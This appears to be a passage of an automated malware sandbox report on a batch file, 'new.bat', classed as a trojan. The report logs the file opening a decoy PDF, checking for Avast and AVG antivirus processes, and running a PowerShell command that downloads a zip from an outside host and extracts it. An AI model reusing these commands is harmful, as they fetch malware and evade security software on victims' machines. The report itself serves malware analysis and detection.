Source: 3.1.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0378/
Source: unicode.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0383/
Source: general.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0387/
Source: unicode.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0393/
Source: init_config.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0432/
Source: typeobj.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0442/
Source: 3.8.html.17.dr, 3.11.html.17.dr, 3.12.html.17.dr, ast.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0484/
Source: 3.8.html.17.dr, ast.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0526/
Source: init_config.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0528/
Source: 3.8.html.17.dr, unicode.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0529/
Source: init_config.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0538/
Source: init_config.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0540/
Source: 3.8.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0544/
Source: init_config.html.17.dr, 3.11.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0552/
Source: 3.8.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0570/
Source: 3.8.html.17.dr, 3.12.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0572/
Source: 3.8.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0574/
Source: audit_events.html.17.dr, 3.8.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0578/
Source: 3.8.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0586/
Source: 3.8.html.17.dr, init_config.html.17.dr, 3.11.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0587/
Source: 3.8.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0589/
Source: 3.8.html.17.dr, 3.11.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0590/
Source: 3.8.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0591/
Source: general.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0602/
Source: unicode.html.17.dr, 3.12.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0623/
Source: typeobj.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0634/
Source: slice.html.17.dr, 3.12.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0683/
Source: 3.8.html.17.dr, 3.11.html.17.dr, 3.12.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0706/
Source: 3.8.html.17.dr	String found in binary or memory: https://peps.python.org/pep-3118/
Source: perfmaps.html.17.dr	String found in binary or memory: https://perf.wiki.kernel.org/index.php/Main_Page
Source: reporter.cpython-312.pyc.17.dr	String found in binary or memory: https://pip.pypa.io/warnings/backtracking
Source: whatnow.html.17.dr, venv.html0.17.dr	String found in binary or memory: https://pypi.org
Source: logging-cookbook.html.17.dr	String found in binary or memory: https://pypi.org/project/PyQt5/
Source: logging-cookbook.html.17.dr	String found in binary or memory: https://pypi.org/project/PySide2/
Source: unittest.mock.html.17.dr	String found in binary or memory: https://pypi.org/project/mock
Source: logging-cookbook.html.17.dr	String found in binary or memory: https://pypi.org/project/pynng/
Source: introduction.html.17.dr	String found in binary or memory: https://pythonnet.github.io/
Source: whatnow.html.17.dr	String found in binary or memory: https://pyvideo.org
Source: 3.1.html.17.dr	String found in binary or memory: https://pyyaml.org/
Source: whatnow.html.17.dr, floatingpoint.html.17.dr	String found in binary or memory: https://scipy.org
Source: unix.html0.17.dr	String found in binary or memory: https://slackbook.org/html/package-management-making-packages.html
Source: interactive.html.17.dr, interpreter.html.17.dr	String found in binary or memory: https://tiswww.case.edu/php/chet/readline/rltop.html
Source: tkinter.ttk.html.17.dr	String found in binary or memory: https://tktable.sourceforge.net/tile/doc/converting.txt
Source: tkinter.ttk.html.17.dr	String found in binary or memory: https://tktable.sourceforge.net/tile/tile-tcl2004.pdf
Source: sorting.html.17.dr	String found in binary or memory: https://upload.wikimedia.org/wikipedia/commons/1/17/Balance_
Source: logging-cookbook.html.17.dr	String found in binary or memory: https://uwsgi-docs.readthedocs.io/en/latest/
Source: unittest.mock.html.17.dr	String found in binary or memory: https://web.archive.org/web/20200603181648/http://www.voidspace.org.uk/python/weblog/arch_d7_2010_12
Source: general.html.17.dr	String found in binary or memory: https://wiki.python.org/moin/BeginnersGuide
Source: editors.html.17.dr	String found in binary or memory: https://wiki.python.org/moin/IntegratedDevelopmentEnvironments
Source: general.html.17.dr	String found in binary or memory: https://wiki.python.org/moin/PythonBooks
Source: editors.html.17.dr, general.html.17.dr	String found in binary or memory: https://wiki.python.org/moin/PythonEditors
Source: unix.html0.17.dr	String found in binary or memory: https://www.debian.org/doc/manuals/maint-guide/first.en.html
Source: xml.etree.elementtree.html.17.dr	String found in binary or memory: https://www.iana.org/assignments/character-sets/character-sets.xhtml
Source: introduction.html.17.dr	String found in binary or memory: https://www.jython.org/
Source: general.html.17.dr	String found in binary or memory: https://www.list.org
Source: unix.html0.17.dr	String found in binary or memory: https://www.openssl.org/source/openssl-VERSION.tar.gz
Source: introduction.html.17.dr	String found in binary or memory: https://www.pypy.org/
Source: whatnow.html.17.dr, 3.11.html.17.dr	String found in binary or memory: https://www.python.org
Source: 3.1.html.17.dr, tkinter.font.html.17.dr, hash.html.17.dr, abstract.html.17.dr, logging.html.17.dr, import.html0.17.dr, unittest.mock-examples.html.17.dr, floatingpoint.html.17.dr, 3.11.html.17.dr, copyright.html.17.dr, 3.12.html.17.dr, genindex-U.html.17.dr, windows.html1.17.dr, asyncio-extending.html.17.dr, venv.html0.17.dr, tkinter.colorchooser.html.17.dr, asyncio-runner.html.17.dr, urllib.robotparser.html.17.dr, genindex-Y.html.17.dr, objimpl.html.17.dr, isolating-extensions.html.17.dr	String found in binary or memory: https://www.python.org/
Source: general.html.17.dr	String found in binary or memory: https://www.python.org/about/success
Source: general.html.17.dr	String found in binary or memory: https://www.python.org/community/lists/
Source: general.html.17.dr	String found in binary or memory: https://www.python.org/community/sigs/current/edu-sig
Source: general.html.17.dr	String found in binary or memory: https://www.python.org/community/workshops/
Source: compatibility_tags.py.17.dr	String found in binary or memory: https://www.python.org/dev/peps/pep-0571/#backwards-compatibility-with-manylinux1-wheels
Source: compatibility_tags.py.17.dr	String found in binary or memory: https://www.python.org/dev/peps/pep-0599/#backwards-compatibility-with-manylinux2010-wheels
Source: index.html8.17.dr	String found in binary or memory: https://www.python.org/doc/av/
Source: index.html8.17.dr	String found in binary or memory: https://www.python.org/doc/versions/
Source: general.html.17.dr	String found in binary or memory: https://www.python.org/downloads/
Source: 3.8.html.17.dr	String found in binary or memory: https://www.python.org/downloads/macos/
Source: unix.html0.17.dr	String found in binary or memory: https://www.python.org/downloads/source/
Source: general.html.17.dr	String found in binary or memory: https://www.python.org/psf/
Source: editors.html.17.dr, genindex-Q.html.17.dr, genindex-I.html.17.dr, embedding.html.17.dr, genindex-K.html.17.dr, index.html8.17.dr, xml.sax.handler.html.17.dr, asyncio-queue.html.17.dr, asyncio-sync.html.17.dr, about.html.17.dr, bisect.html.17.dr, xml.sax.reader.html.17.dr, audit_events.html.17.dr, unittest.mock.html.17.dr, coro.html.17.dr, gen.html.17.dr, capsule.html.17.dr, 3.8.html.17.dr, search.html.17.dr, genindex-Z.html.17.dr, uuid.html.17.dr	String found in binary or memory: https://www.python.org/psf/donations/
Source: general.html.17.dr	String found in binary or memory: https://www.python.org/psf/trademarks/
Source: logging-cookbook.html.17.dr	String found in binary or memory: https://www.qt.io/
Source: general.html.17.dr	String found in binary or memory: https://www.redhat.com
Source: general.html.17.dr, interpreter.html.17.dr, tkinter.ttk.html.17.dr, slice.html.17.dr, long.html.17.dr, sorting.html.17.dr, whatnow.html.17.dr, bdb.html.17.dr, asyncio-api-index.html.17.dr, xml.etree.elementtree.html.17.dr, asyncio-policy.html.17.dr, unix.html0.17.dr, asyncio.html.17.dr, toplevel_components.html.17.dr, genindex-S.html.17.dr, introduction.html.17.dr, genindex-Symbols.html.17.dr, 3.1.html.17.dr, tkinter.font.html.17.dr, hash.html.17.dr, abstract.html.17.dr	String found in binary or memory: https://www.sphinx-doc.org/
Source: general.html.17.dr	String found in binary or memory: https://www.zope.dev

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: classification engine

Classification label: mal76.spre.troj.winBAT@34/1081@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6808:120:WilError_03

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-11-14 12-24-05-554.log

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" "

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVASTUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVGUI.EXE'
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVASTUI.EXE'

Source: C:\Windows\System32\cmd.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\DVWHKMNFNN.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq AvastUI.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "AvastUI.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:8930/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\tasklist.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2276 --field-trial-handle=1524,i,11779076742283100566,12679411521668981735,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { Expand-Archive -Path 'C:\Users\user\Downloads\downloaded.zip' -DestinationPath 'C:\Users\user\Downloads\Extracted' -Force } catch { exit 1 }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\DVWHKMNFNN.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq AvastUI.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "AvastUI.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "avgui.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:8930/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { Expand-Archive -Path 'C:\Users\user\Downloads\downloaded.zip' -DestinationPath 'C:\Users\user\Downloads\Extracted' -Force } catch { exit 1 }"	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq AvastUI.exe"	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2276 --field-trial-handle=1524,i,11779076742283100566,12679411521668981735,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
